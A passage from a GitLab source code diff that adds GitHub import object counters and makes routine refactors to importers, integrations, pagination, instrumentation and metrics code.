+ module GithubImport
+ class ObjectCounter
+ OPERATIONS = %w[fetched imported].freeze
+ PROJECT_COUNTER_LIST_KEY = 'github-importer/object-counters-list/%{project}/%{operation}'
+ PROJECT_COUNTER_KEY = 'github-importer/object-counter/%{project}/%{operation}/%{object_type}'
+
+ GLOBAL_COUNTER_KEY = 'github_importer_%{operation}_%{object_type}'
+ GLOBAL_COUNTER_DESCRIPTION = 'The number of %{operation} Github %{object_type}'
+
+ CACHING = Gitlab::Cache::Import::Caching
+
+ class << self
+ def increment(project, object_type, operation)
+ validate_operation!(operation)
+
+ increment_project_counter(project, object_type, operation)
+ increment_global_counter(object_type, operation)
+ end
+
+ def summary(project)
+ OPERATIONS.each_with_object({}) do |operation, result|
+ result[operation] = {}
+
+ CACHING
+ .values_from_set(counter_list_key(project, operation))
+ .sort
+ .each do |counter|
+ object_type = counter.split('/').last
+ result[operation][object_type] = CACHING.read_integer(counter)
+ end
+ end
+ end
+
+ private
+
+ # Global counters are long lived, in Prometheus,
+ # and it's used to report the health of the Github Importer
+ # in the Grafana Dashboard
+ # https://dashboards.gitlab.net/d/2zgM_rImz/github-importer?orgId=1
+ def increment_global_counter(object_type, operation)
+ key = GLOBAL_COUNTER_KEY % {
+ operation: operation,
+ object_type: object_type
+ }
+ description = GLOBAL_COUNTER_DESCRIPTION % {
+ operation: operation,
+ object_type: object_type.to_s.humanize
+ }
+
+ Gitlab::Metrics.counter(key.to_sym, description).increment
+ end
+
+ # Project counters are short lived, in Redis,
+ # and it's used to report how successful a project
+ # import was with the #summary method.
+ def increment_project_counter(project, object_type, operation)
+ counter_key = PROJECT_COUNTER_KEY % { project: project.id, operation: operation, object_type: object_type }
+
+ add_counter_to_list(project, operation, counter_key)
+
+ CACHING.increment(counter_key)
+ end
+
+ def add_counter_to_list(project, operation, key)
+ CACHING.set_add(counter_list_key(project, operation), key)
+ end
+
+ def counter_list_key(project, operation)
+ PROJECT_COUNTER_LIST_KEY % { project: project.id, operation: operation }
+ end
+
+ def validate_operation!(operation)
+ unless operation.to_s.presence_in(OPERATIONS)
+ raise ArgumentError, "Operation must be #{OPERATIONS.join(' or ')}"
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/github_import/parallel_scheduling.rb b/lib/gitlab/github_import/parallel_scheduling.rb
index 92f9e8a646d..4598429d568 100644
--- a/lib/gitlab/github_import/parallel_scheduling.rb
+++ b/lib/gitlab/github_import/parallel_scheduling.rb
@@ -103,6 +103,8 @@ module Gitlab
page.objects.each do |object|
next if already_imported?(object)
+ Gitlab::GithubImport::ObjectCounter.increment(project, object_type, :fetched)
+
yield object
# We mark the object as imported immediately so we don't end up
@@ -129,6 +131,10 @@ module Gitlab
Gitlab::Cache::Import::Caching.set_add(already_imported_cache_key, id)
end
+ def object_type
+ raise NotImplementedError
+ end
+
# Returns the ID to use for the cache used for checking if an object has
# already been imported or not.
#
diff --git a/lib/gitlab/github_import/representation/pull_request_review.rb b/lib/gitlab/github_import/representation/pull_request_review.rb
index 3205259a1ed..08b3160fc4c 100644
--- a/lib/gitlab/github_import/representation/pull_request_review.rb
+++ b/lib/gitlab/github_import/representation/pull_request_review.rb
@@ -29,7 +29,7 @@ module Gitlab
hash = Representation.symbolize_hash(raw_hash)
hash[:author] &&= Representation::User.from_json_hash(hash[:author])
- hash[:submitted_at] = Time.parse(hash[:submitted_at]).in_time_zone
+ hash[:submitted_at] = Time.parse(hash[:submitted_at]).in_time_zone if hash[:submitted_at].present?
new(hash)
end
diff --git a/lib/gitlab/github_import/user_finder.rb b/lib/gitlab/github_import/user_finder.rb
index 8d584415202..058cd1ebd57 100644
--- a/lib/gitlab/github_import/user_finder.rb
+++ b/lib/gitlab/github_import/user_finder.rb
@@ -138,7 +138,7 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def query_id_for_github_id(id)
- User.for_github_id(id).pluck(:id).first
+ User.by_provider_and_extern_uid(:github, id).select(:id).first&.id
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/gitlab_import/importer.rb b/lib/gitlab/gitlab_import/importer.rb
index e84863deba8..0cd33b9f5b7 100644
--- a/lib/gitlab/gitlab_import/importer.rb
+++ b/lib/gitlab/gitlab_import/importer.rb
@@ -56,8 +56,8 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def gitlab_user_id(project, gitlab_id)
- user = User.joins(:identities).find_by("identities.extern_uid = ? AND identities.provider = 'gitlab'", gitlab_id.to_s)
- (user && user.id) || project.creator_id
+ user_id = User.by_provider_and_extern_uid(:gitlab, gitlab_id).select(:id).first&.id
+ user_id || project.creator_id
end
# rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/lib/gitlab/global_id/deprecations.rb b/lib/gitlab/global_id/deprecations.rb
index ac4a44e0e10..2753e2b8372 100644
--- a/lib/gitlab/global_id/deprecations.rb
+++ b/lib/gitlab/global_id/deprecations.rb
@@ -9,11 +9,12 @@ module Gitlab
# Example:
#
# DEPRECATIONS = [
- # Deprecation.new(old_model_name: 'PrometheusService', new_model_name: 'Integrations::Prometheus', milestone: '14.0')
+ # Deprecation.new(old_model_name: 'PrometheusService', new_model_name: 'Integrations::Prometheus', milestone: '14.1')
# ].freeze
DEPRECATIONS = [
# This works around an accidentally released argument named as `"EEIterationID"` in 7000489db.
- Deprecation.new(old_model_name: 'EEIteration', new_model_name: 'Iteration', milestone: '13.3')
+ Deprecation.new(old_model_name: 'EEIteration', new_model_name: 'Iteration', milestone: '13.3'),
+ Deprecation.new(old_model_name: 'PrometheusService', new_model_name: 'Integrations::Prometheus', milestone: '14.1')
].freeze
# Maps of the DEPRECATIONS Hash for quick access.
diff --git a/lib/gitlab/gon_helper.rb b/lib/gitlab/gon_helper.rb
index 14f9c7f2191..16a8b5f959e 100644
--- a/lib/gitlab/gon_helper.rb
+++ b/lib/gitlab/gon_helper.rb
@@ -23,6 +23,7 @@ module Gitlab
gon.gitlab_url = Gitlab.config.gitlab.url
gon.revision = Gitlab.revision
+ gon.feature_category = Gitlab::ApplicationContext.current_context_attribute(:feature_category).presence
gon.gitlab_logo = ActionController::Base.helpers.asset_path('gitlab_logo.png')
gon.sprite_icons = IconsHelper.sprite_icon_path
gon.sprite_file_icons = IconsHelper.sprite_file_icons_path
@@ -32,6 +33,7 @@ module Gitlab
gon.disable_animations = Gitlab.config.gitlab['disable_animations']
gon.suggested_label_colors = LabelsHelper.suggested_colors
gon.first_day_of_week = current_user&.first_day_of_week || Gitlab::CurrentSettings.first_day_of_week
+ gon.time_display_relative = true
gon.ee = Gitlab.ee?
gon.dot_com = Gitlab.com?
@@ -40,6 +42,7 @@ module Gitlab
gon.current_username = current_user.username
gon.current_user_fullname = current_user.name
gon.current_user_avatar_url = current_user.avatar_url
+ gon.time_display_relative = current_user.time_display_relative
end
# Initialize gon.features with any flags that should be
diff --git a/lib/gitlab/graphql/pagination/keyset/generic_keyset_pagination.rb b/lib/gitlab/graphql/pagination/keyset/generic_keyset_pagination.rb
index f1b74999897..5a9d21e7469 100644
--- a/lib/gitlab/graphql/pagination/keyset/generic_keyset_pagination.rb
+++ b/lib/gitlab/graphql/pagination/keyset/generic_keyset_pagination.rb
@@ -4,11 +4,42 @@ module Gitlab
module Graphql
module Pagination
module Keyset
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/334973
# Use the generic keyset implementation if the given ActiveRecord scope supports it.
# Note: this module is temporary, at some point it will be merged with Keyset::Connection
module GenericKeysetPagination
extend ActiveSupport::Concern
+ # rubocop: disable Naming/PredicateName
+ # rubocop: disable CodeReuse/ActiveRecord
+ def has_next_page
+ return super unless Gitlab::Pagination::Keyset::Order.keyset_aware?(items)
+
+ strong_memoize(:generic_keyset_pagination_has_next_page) do
+ if before
+ # If `before` is specified, that points to a specific record,
+ # even if it's the last one. Since we're asking for `before`,
+ # then the specific record we're pointing to is in the
+ # next page
+ true
+ elsif first
+ case sliced_nodes
+ when Array
+ sliced_nodes.size > limit_value
+ else
+ # If we count the number of requested items plus one (`limit_value + 1`),
+ # then if we get `limit_value + 1` then we know there is a next page
+ sliced_nodes.limit(1).offset(limit_value).exists?
+ # replacing relation count
+ # relation_count(set_limit(sliced_nodes, limit_value + 1)) == limit_value + 1
+ end
+ else
+ false
+ end
+ end
+ end
+
+ # rubocop: enable CodeReuse/ActiveRecord
def ordered_items
raise ArgumentError, 'Relation must have a primary key' unless items.primary_key.present?
diff --git a/lib/gitlab/highlight.rb b/lib/gitlab/highlight.rb
index d05ced00a6b..afe1554aec1 100644
--- a/lib/gitlab/highlight.rb
+++ b/lib/gitlab/highlight.rb
@@ -11,11 +11,9 @@ module Gitlab
end
def self.too_large?(size)
- file_size_limit = Gitlab.config.extra['maximum_text_highlight_size_kilobytes']
+ return false unless size.to_i > self.file_size_limit
- return false unless size.to_i > file_size_limit
-
- over_highlight_size_limit.increment(source: "file size: #{file_size_limit}") if Feature.enabled?(:track_file_size_over_highlight_limit)
+ over_highlight_size_limit.increment(source: "file size: #{self.file_size_limit}") if Feature.enabled?(:track_file_size_over_highlight_limit)
true
end
@@ -51,6 +49,16 @@ module Gitlab
attr_reader :context
+ def self.file_size_limit
+ if Feature.enabled?(:one_megabyte_file_size_limit)
+ 1024.kilobytes
+ else
+ Gitlab.config.extra['maximum_text_highlight_size_kilobytes']
+ end
+ end
+
+ private_class_method :file_size_limit
+
def custom_language
return unless @language
diff --git a/lib/gitlab/hook_data/issue_builder.rb b/lib/gitlab/hook_data/issue_builder.rb
index 2d1bb515058..181ce447b52 100644
--- a/lib/gitlab/hook_data/issue_builder.rb
+++ b/lib/gitlab/hook_data/issue_builder.rb
@@ -8,6 +8,7 @@ module Gitlab
labels
total_time_spent
time_change
+ severity
].freeze
def self.safe_hook_attributes
@@ -51,7 +52,8 @@ module Gitlab
assignee_ids: issue.assignee_ids,
assignee_id: issue.assignee_ids.first, # This key is deprecated
labels: issue.labels_hook_attrs,
- state: issue.state
+ state: issue.state,
+ severity: issue.severity
}
issue.attributes.with_indifferent_access.slice(*self.class.safe_hook_attributes)
diff --git a/lib/gitlab/i18n.rb b/lib/gitlab/i18n.rb
index 30e72b58e21..7ebbe9f1c14 100644
--- a/lib/gitlab/i18n.rb
+++ b/lib/gitlab/i18n.rb
@@ -40,26 +40,26 @@ module Gitlab
TRANSLATION_LEVELS = {
'bg' => 1,
'cs_CZ' => 1,
- 'de' => 18,
+ 'de' => 17,
'en' => 100,
'eo' => 1,
- 'es' => 40,
+ 'es' => 38,
'fil_PH' => 1,
- 'fr' => 13,
+ 'fr' => 12,
'gl_ES' => 1,
'id_ID' => 0,
'it' => 2,
- 'ja' => 44,
+ 'ja' => 42,
'ko' => 13,
'nl_NL' => 1,
- 'pl_PL' => 3,
+ 'pl_PL' => 5,
'pt_BR' => 21,
- 'ru' => 30,
- 'tr_TR' => 17,
- 'uk' => 42,
- 'zh_CN' => 69,
- 'zh_HK' => 3,
- 'zh_TW' => 4
+ 'ru' => 29,
+ 'tr_TR' => 16,
+ 'uk' => 41,
+ 'zh_CN' => 67,
+ 'zh_HK' => 2,
+ 'zh_TW' => 3
}.freeze
private_constant :TRANSLATION_LEVELS
diff --git a/lib/gitlab/import_export/project/import_export.yml b/lib/gitlab/import_export/project/import_export.yml
index d000c331b6d..a84978a2a80 100644
--- a/lib/gitlab/import_export/project/import_export.yml
+++ b/lib/gitlab/import_export/project/import_export.yml
@@ -61,7 +61,9 @@ tree:
- :push_event_payload
- :suggestions
- merge_request_diff:
- - :merge_request_diff_commits
+ - merge_request_diff_commits:
+ - :commit_author
+ - :committer
- :merge_request_diff_files
- events:
- :push_event_payload
@@ -201,6 +203,10 @@ excluded_attributes:
- :verification_failure
merge_request_diff_commits:
- :merge_request_diff_id
+ - :commit_author_id
+ - :committer_id
+ merge_request_diff_commit_user:
+ - :id
merge_request_diff_detail:
- :merge_request_diff_id
- :verification_retry_at
@@ -223,6 +229,7 @@ excluded_attributes:
- :promoted_to_epic_id
- :blocking_issues_count
- :service_desk_reply_to
+ - :upvotes_count
merge_request:
- :milestone_id
- :sprint_id
diff --git a/lib/gitlab/import_export/project/object_builder.rb b/lib/gitlab/import_export/project/object_builder.rb
index 831e38f3034..0753625b978 100644
--- a/lib/gitlab/import_export/project/object_builder.rb
+++ b/lib/gitlab/import_export/project/object_builder.rb
@@ -28,6 +28,7 @@ module Gitlab
def find
return if epic? && group.nil?
+ return find_diff_commit_user if diff_commit_user?
super
end
@@ -81,6 +82,13 @@ module Gitlab
end
end
+ def find_diff_commit_user
+ find_with_cache do
+ MergeRequest::DiffCommitUser
+ .find_or_create(@attributes['name'], @attributes['email'])
+ end
+ end
+
def label?
klass == Label
end
@@ -101,6 +109,10 @@ module Gitlab
klass == DesignManagement::Design
end
+ def diff_commit_user?
+ klass == MergeRequest::DiffCommitUser
+ end
+
# If an existing group milestone used the IID
# claim the IID back and set the group milestone to use one available
# This is necessary to fix situations like the following:
diff --git a/lib/gitlab/import_export/project/relation_factory.rb b/lib/gitlab/import_export/project/relation_factory.rb
index 4678396f97e..102fcedd2fc 100644
--- a/lib/gitlab/import_export/project/relation_factory.rb
+++ b/lib/gitlab/import_export/project/relation_factory.rb
@@ -31,7 +31,9 @@ module Gitlab
ci_cd_settings: 'ProjectCiCdSetting',
error_tracking_setting: 'ErrorTracking::ProjectErrorTrackingSetting',
links: 'Releases::Link',
- metrics_setting: 'ProjectMetricsSetting' }.freeze
+ metrics_setting: 'ProjectMetricsSetting',
+ commit_author: 'MergeRequest::DiffCommitUser',
+ committer: 'MergeRequest::DiffCommitUser' }.freeze
BUILD_MODELS = %i[Ci::Build commit_status].freeze
@@ -56,6 +58,7 @@ module Gitlab
external_pull_request
external_pull_requests
DesignManagement::Design
+ MergeRequest::DiffCommitUser
].freeze
def create
diff --git a/lib/gitlab/import_export/relation_tree_restorer.rb b/lib/gitlab/import_export/relation_tree_restorer.rb
index 46b82240ef7..d5f924ae2bd 100644
--- a/lib/gitlab/import_export/relation_tree_restorer.rb
+++ b/lib/gitlab/import_export/relation_tree_restorer.rb
@@ -37,7 +37,7 @@ module Gitlab
ActiveRecord::Base.no_touching do
update_params!
- BulkInsertableAssociations.with_bulk_insert(enabled: @importable.class == ::Project) do
+ BulkInsertableAssociations.with_bulk_insert(enabled: @importable.instance_of?(::Project)) do
fix_ci_pipelines_not_sorted_on_legacy_project_json!
create_relations!
end
diff --git a/lib/gitlab/instrumentation/redis_interceptor.rb b/lib/gitlab/instrumentation/redis_interceptor.rb
index b5a5f8fd984..8a64abb9f62 100644
--- a/lib/gitlab/instrumentation/redis_interceptor.rb
+++ b/lib/gitlab/instrumentation/redis_interceptor.rb
@@ -1,14 +1,12 @@
# frozen_string_literal: true
-require 'redis'
-
module Gitlab
module Instrumentation
module RedisInterceptor
APDEX_EXCLUDE = %w[brpop blpop brpoplpush bzpopmin bzpopmax xread xreadgroup].freeze
def call(*args, &block)
- start = Time.now # must come first so that 'start' is always defined
+ start = Gitlab::Metrics::System.monotonic_time # must come first so that 'start' is always defined
instrumentation_class.instance_count_request
instrumentation_class.redis_cluster_validate!(args.first)
@@ -17,7 +15,7 @@ module Gitlab
instrumentation_class.instance_count_exception(ex)
raise ex
ensure
- duration = Time.now - start
+ duration = Gitlab::Metrics::System.monotonic_time - start
unless APDEX_EXCLUDE.include?(command_from_args(args))
instrumentation_class.instance_observe_duration(duration)
@@ -99,7 +97,3 @@ module Gitlab
end
end
end
-
-class ::Redis::Client
- prepend ::Gitlab::Instrumentation::RedisInterceptor
-end
diff --git a/lib/gitlab/instrumentation_helper.rb b/lib/gitlab/instrumentation_helper.rb
index a865a6392f0..c10c4a7bedf 100644
--- a/lib/gitlab/instrumentation_helper.rb
+++ b/lib/gitlab/instrumentation_helper.rb
@@ -29,6 +29,7 @@ module Gitlab
instrument_rack_attack(payload)
instrument_cpu(payload)
instrument_thread_memory_allocations(payload)
+ instrument_load_balancing(payload)
end
def instrument_gitaly(payload)
@@ -104,6 +105,12 @@ module Gitlab
payload.merge!(counters) if counters
end
+ def instrument_load_balancing(payload)
+ load_balancing_payload = ::Gitlab::Metrics::Subscribers::LoadBalancing.load_balancing_payload
+
+ payload.merge!(load_balancing_payload)
+ end
+
# Returns the queuing duration for a Sidekiq job in seconds, as a float, if the
# `enqueued_at` field or `created_at` field is available.
#
diff --git a/lib/gitlab/integrations/sti_type.rb b/lib/gitlab/integrations/sti_type.rb
index 9d7254f49f7..b87c9936570 100644
--- a/lib/gitlab/integrations/sti_type.rb
+++ b/lib/gitlab/integrations/sti_type.rb
@@ -5,9 +5,9 @@ module Gitlab
class StiType < ActiveRecord::Type::String
NAMESPACED_INTEGRATIONS = Set.new(%w(
Asana Assembla Bamboo Bugzilla Buildkite Campfire Confluence CustomIssueTracker Datadog
- Discord DroneCi EmailsOnPush Ewm ExternalWiki Flowdock HangoutsChat Irker
- Jenkins Jira Mattermost MattermostSlashCommands MicrosoftTeams MockCi Packagist PipelinesEmail Pivotaltracker
- Pushover Redmine Slack SlackSlashCommands Teamcity UnifyCircuit Youtrack WebexTeams
+ Discord DroneCi EmailsOnPush Ewm ExternalWiki Flowdock HangoutsChat Irker Jenkins Jira Mattermost
+ MattermostSlashCommands MicrosoftTeams MockCi MockMonitoring Packagist PipelinesEmail Pivotaltracker
+ Prometheus Pushover Redmine Slack SlackSlashCommands Teamcity UnifyCircuit Youtrack WebexTeams
)).freeze
def cast(value)
diff --git a/lib/gitlab/jira_import.rb b/lib/gitlab/jira_import.rb
index 75d6fdc07b6..60344e4be68 100644
--- a/lib/gitlab/jira_import.rb
+++ b/lib/gitlab/jira_import.rb
@@ -19,10 +19,10 @@ module Gitlab
return unless configuration_check
- jira_service = project.jira_service
+ jira_integration = project.jira_integration
- raise Projects::ImportService::Error, _('Jira integration not configured.') unless jira_service&.active?
- raise Projects::ImportService::Error, _('Unable to connect to the Jira instance. Please check your Jira integration configuration.') unless jira_service&.valid_connection?
+ raise Projects::ImportService::Error, _('Jira integration not configured.') unless jira_integration&.active?
+ raise Projects::ImportService::Error, _('Unable to connect to the Jira instance. Please check your Jira integration configuration.') unless jira_integration&.valid_connection?
end
def self.jira_item_cache_key(project_id, jira_item_id, collection_type)
diff --git a/lib/gitlab/jira_import/base_importer.rb b/lib/gitlab/jira_import/base_importer.rb
index 688254bf91f..2b83f0492cb 100644
--- a/lib/gitlab/jira_import/base_importer.rb
+++ b/lib/gitlab/jira_import/base_importer.rb
@@ -14,7 +14,7 @@ module Gitlab
raise Projects::ImportService::Error, _('Unable to find Jira project to import data from.') unless @jira_project_key
@project = project
- @client = project.jira_service.client
+ @client = project.jira_integration.client
@formatter = Gitlab::ImportFormatter.new
end
diff --git a/lib/gitlab/json.rb b/lib/gitlab/json.rb
index 767ce310b5a..f1370a40222 100644
--- a/lib/gitlab/json.rb
+++ b/lib/gitlab/json.rb
@@ -228,6 +228,14 @@ module Gitlab
raise UnsupportedFormatError
end
+
+ def render_in(_view_context)
+ to_s
+ end
+
+ def format
+ :json
+ end
end
class LimitedEncoder
diff --git a/lib/gitlab/kas.rb b/lib/gitlab/kas.rb
index a4663314b3b..86c0aa2b48d 100644
--- a/lib/gitlab/kas.rb
+++ b/lib/gitlab/kas.rb
@@ -25,12 +25,6 @@ module Gitlab
write_secret
end
- def included_in_gitlab_com_rollout?(project)
- return true unless ::Gitlab.com?
-
- Feature.enabled?(:kubernetes_agent_on_gitlab_com, project, default_enabled: :yaml)
- end
-
# Return GitLab KAS version
#
# @return [String] version
diff --git a/lib/gitlab/kas/client.rb b/lib/gitlab/kas/client.rb
index 6675903e692..842ee98e4da 100644
--- a/lib/gitlab/kas/client.rb
+++ b/lib/gitlab/kas/client.rb
@@ -49,14 +49,14 @@ module Gitlab
end
def kas_endpoint_url
- Gitlab::Kas.internal_url.delete_prefix('grpc://')
+ Gitlab::Kas.internal_url.sub(%r{^grpc://|^grpcs://}, '')
end
def credentials
- if Rails.env.test? || Rails.env.development?
- :this_channel_is_insecure
- else
+ if URI(Gitlab::Kas.internal_url).scheme == 'grpcs'
GRPC::Core::ChannelCredentials.new
+ else
+ :this_channel_is_insecure
end
end
diff --git a/lib/gitlab/kubernetes/cilium_network_policy.rb b/lib/gitlab/kubernetes/cilium_network_policy.rb
index f77b3e8de99..e333d3818b9 100644
--- a/lib/gitlab/kubernetes/cilium_network_policy.rb
+++ b/lib/gitlab/kubernetes/cilium_network_policy.rb
@@ -12,7 +12,7 @@ module Gitlab
# We are modeling existing kubernetes resource and don't have
# control over amount of parameters.
# rubocop:disable Metrics/ParameterLists
- def initialize(name:, namespace:, selector:, ingress:, resource_version: nil, description: nil, labels: nil, creation_timestamp: nil, egress: nil, annotations: nil)
+ def initialize(name:, namespace:, selector:, ingress:, resource_version: nil, description: nil, labels: nil, creation_timestamp: nil, egress: nil, annotations: nil, environment_ids: [])
@name = name
@description = description
@namespace = namespace
@@ -23,6 +23,7 @@ module Gitlab
@ingress = ingress
@egress = egress
@annotations = annotations
+ @environment_ids = environment_ids
end
# rubocop:enable Metrics/ParameterLists
@@ -49,7 +50,7 @@ module Gitlab
nil
end
- def self.from_resource(resource)
+ def self.from_resource(resource, environment_ids = [])
return unless resource
return if !resource[:metadata] || !resource[:spec]
@@ -65,7 +66,8 @@ module Gitlab
creation_timestamp: metadata[:creationTimestamp],
selector: spec[:endpointSelector],
ingress: spec[:ingress],
- egress: spec[:egress]
+ egress: spec[:egress],
+ environment_ids: environment_ids
)
end
@@ -83,7 +85,7 @@ module Gitlab
private
- attr_reader :name, :description, :namespace, :labels, :creation_timestamp, :resource_version, :ingress, :egress, :annotations
+ attr_reader :name, :description, :namespace, :labels, :creation_timestamp, :resource_version, :ingress, :egress, :annotations, :environment_ids
def selector
@selector ||= {}
diff --git a/lib/gitlab/kubernetes/network_policy.rb b/lib/gitlab/kubernetes/network_policy.rb
index c8e9b987443..e6111db5b17 100644
--- a/lib/gitlab/kubernetes/network_policy.rb
+++ b/lib/gitlab/kubernetes/network_policy.rb
@@ -8,7 +8,8 @@ module Gitlab
KIND = 'NetworkPolicy'
- def initialize(name:, namespace:, selector:, ingress:, labels: nil, creation_timestamp: nil, policy_types: ["Ingress"], egress: nil)
+ # rubocop:disable Metrics/ParameterLists
+ def initialize(name:, namespace:, selector:, ingress:, labels: nil, creation_timestamp: nil, policy_types: ["Ingress"], egress: nil, environment_ids: [])
@name = name
@namespace = namespace
@labels = labels
@@ -17,7 +18,9 @@ module Gitlab
@policy_types = policy_types
@ingress = ingress
@egress = egress
+ @environment_ids = environment_ids
end
+ # rubocop:enable Metrics/ParameterLists
def self.from_yaml(manifest)
return unless manifest
@@ -40,7 +43,7 @@ module Gitlab
nil
end
- def self.from_resource(resource)
+ def self.from_resource(resource, environment_ids = [])
return unless resource
return if !resource[:metadata] || !resource[:spec]
@@ -54,7 +57,8 @@ module Gitlab
selector: spec[:podSelector],
policy_types: spec[:policyTypes],
ingress: spec[:ingress],
- egress: spec[:egress]
+ egress: spec[:egress],
+ environment_ids: environment_ids
)
end
@@ -69,7 +73,7 @@ module Gitlab
private
- attr_reader :name, :namespace, :labels, :creation_timestamp, :policy_types, :ingress, :egress
+ attr_reader :name, :namespace, :labels, :creation_timestamp, :policy_types, :ingress, :egress, :environment_ids
def selector
@selector ||= {}
diff --git a/lib/gitlab/kubernetes/network_policy_common.rb b/lib/gitlab/kubernetes/network_policy_common.rb
index 99517454508..de91833b734 100644
--- a/lib/gitlab/kubernetes/network_policy_common.rb
+++ b/lib/gitlab/kubernetes/network_policy_common.rb
@@ -16,7 +16,8 @@ module Gitlab
creation_timestamp: creation_timestamp,
manifest: manifest,
is_autodevops: autodevops?,
- is_enabled: enabled?
+ is_enabled: enabled?,
+ environment_ids: environment_ids
}
end
diff --git a/lib/gitlab/legacy_github_import/user_formatter.rb b/lib/gitlab/legacy_github_import/user_formatter.rb
index e85d1314eda..7ae1b195ec6 100644
--- a/lib/gitlab/legacy_github_import/user_formatter.rb
+++ b/lib/gitlab/legacy_github_import/user_formatter.rb
@@ -35,12 +35,7 @@ module Gitlab
def find_by_external_uid
return unless id
- identities = ::Identity.arel_table
-
- User.select(:id)
- .joins(:identities)
- .find_by(identities[:provider].eq(:github).and(identities[:extern_uid].eq(id)))
- .try(:id)
+ User.by_provider_and_extern_uid(:github, id).select(:id).first&.id
end
# rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/lib/gitlab/lograge/custom_options.rb b/lib/gitlab/lograge/custom_options.rb
index dce7cdb31a1..83fd74310d0 100644
--- a/lib/gitlab/lograge/custom_options.rb
+++ b/lib/gitlab/lograge/custom_options.rb
@@ -25,7 +25,6 @@ module Gitlab
::Gitlab::InstrumentationHelper.add_instrumentation_data(payload)
payload[:queue_duration_s] = event.payload[:queue_duration_s] if event.payload[:queue_duration_s]
- payload[:response] = event.payload[:response] if event.payload[:response]
payload[:etag_route] = event.payload[:etag_route] if event.payload[:etag_route]
payload[Labkit::Correlation::CorrelationId::LOG_KEY] = event.payload[Labkit::Correlation::CorrelationId::LOG_KEY] || Labkit::Correlation::CorrelationId.current_id
diff --git a/lib/gitlab/memory/instrumentation.rb b/lib/gitlab/memory/instrumentation.rb
index e800fe14cf1..4e93d6a9ece 100644
--- a/lib/gitlab/memory/instrumentation.rb
+++ b/lib/gitlab/memory/instrumentation.rb
@@ -21,24 +21,13 @@ module Gitlab
Thread.current.respond_to?(:memory_allocations)
end
- # This method changes a global state
- def self.ensure_feature_flag!
+ def self.start_thread_memory_allocations
return unless available?
- enabled = Feature.enabled?(:trace_memory_allocations, default_enabled: true)
- return if enabled == Thread.trace_memory_allocations
-
MUTEX.synchronize do
- # This enables or disables feature dynamically
- # based on a feature flag
- Thread.trace_memory_allocations = enabled
+ # This method changes a global state
+ Thread.trace_memory_allocations = true
end
- end
-
- def self.start_thread_memory_allocations
- return unless available?
-
- ensure_feature_flag!
# it will return `nil` if disabled
Thread.current.memory_allocations
diff --git a/lib/gitlab/metrics/dashboard/finder.rb b/lib/gitlab/metrics/dashboard/finder.rb
index 2c4793eb75f..c8591a81a05 100644
--- a/lib/gitlab/metrics/dashboard/finder.rb
+++ b/lib/gitlab/metrics/dashboard/finder.rb
@@ -7,14 +7,9 @@ module Gitlab
module Metrics
module Dashboard
class Finder
- # Dashboards that should not be part of the list of all dashboards
- # displayed on the metrics dashboard page.
- PREDEFINED_DASHBOARD_EXCLUSION_LIST = [
- # This dashboard is only useful in the self monitoring project.
- ::Metrics::Dashboard::SelfMonitoringDashboardService,
-
- # This dashboard is displayed on the K8s cluster settings health page.
- ::Metrics::Dashboard::ClusterDashboardService
+ PREDEFINED_DASHBOARD_LIST = [
+ ::Metrics::Dashboard::PodDashboardService,
+ ::Metrics::Dashboard::SystemDashboardService
].freeze
class << self
@@ -90,11 +85,7 @@ module Gitlab
return [self_monitoring_service]
end
- predefined_dashboard_services
- end
-
- def predefined_dashboard_services
- ::Metrics::Dashboard::PredefinedDashboardService.descendants - PREDEFINED_DASHBOARD_EXCLUSION_LIST
+ PREDEFINED_DASHBOARD_LIST
end
def system_service
diff --git a/lib/gitlab/metrics/exporter/base_exporter.rb b/lib/gitlab/metrics/exporter/base_exporter.rb
index 7111835c85a..ff8b8bf2237 100644
--- a/lib/gitlab/metrics/exporter/base_exporter.rb
+++ b/lib/gitlab/metrics/exporter/base_exporter.rb
@@ -1,5 +1,8 @@
# frozen_string_literal: true
+require 'webrick'
+require 'prometheus/client/rack/exporter'
+
module Gitlab
module Metrics
module Exporter
diff --git a/lib/gitlab/metrics/exporter/sidekiq_exporter.rb b/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
index 36262b09b2d..4d38d9e67bf 100644
--- a/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
+++ b/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
@@ -1,8 +1,5 @@
# frozen_string_literal: true
-require 'webrick'
-require 'prometheus/client/rack/exporter'
-
module Gitlab
module Metrics
module Exporter
diff --git a/lib/gitlab/metrics/exporter/web_exporter.rb b/lib/gitlab/metrics/exporter/web_exporter.rb
index 756e6b0641a..f378577f08e 100644
--- a/lib/gitlab/metrics/exporter/web_exporter.rb
+++ b/lib/gitlab/metrics/exporter/web_exporter.rb
@@ -1,8 +1,5 @@
# frozen_string_literal: true
-require 'webrick'
-require 'prometheus/client/rack/exporter'
-
module Gitlab
module Metrics
module Exporter
diff --git a/lib/gitlab/metrics/prometheus.rb b/lib/gitlab/metrics/prometheus.rb
index 757762499a9..848b73792cb 100644
--- a/lib/gitlab/metrics/prometheus.rb
+++ b/lib/gitlab/metrics/prometheus.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-require 'prometheus/client'
-
module Gitlab
module Metrics
module Prometheus
diff --git a/lib/gitlab/metrics/subscribers/action_cable.rb b/lib/gitlab/metrics/subscribers/action_cable.rb
index a9355eeae40..631b9209f14 100644
--- a/lib/gitlab/metrics/subscribers/action_cable.rb
+++ b/lib/gitlab/metrics/subscribers/action_cable.rb
@@ -12,6 +12,7 @@ module Gitlab
TRANSMIT_SUBSCRIPTION_CONFIRMATION = :action_cable_subscription_confirmations_total
TRANSMIT_SUBSCRIPTION_REJECTION = :action_cable_subscription_rejections_total
BROADCAST = :action_cable_broadcasts_total
+ DATA_TRANSMITTED_BYTES = :action_cable_transmitted_bytes
def transmit_subscription_confirmation(event)
confirm_subscription_counter.increment
@@ -23,6 +24,14 @@ module Gitlab
def transmit(event)
transmit_counter.increment
+
+ if event.payload.present?
+ channel = event.payload[:channel_class]
+ operation = operation_name_from(event.payload)
+ data_size = ::ActiveSupport::JSON.encode(event.payload[:data]).bytesize
+
+ transmitted_bytes_histogram.observe({ channel: channel, operation: operation }, data_size)
+ end
end
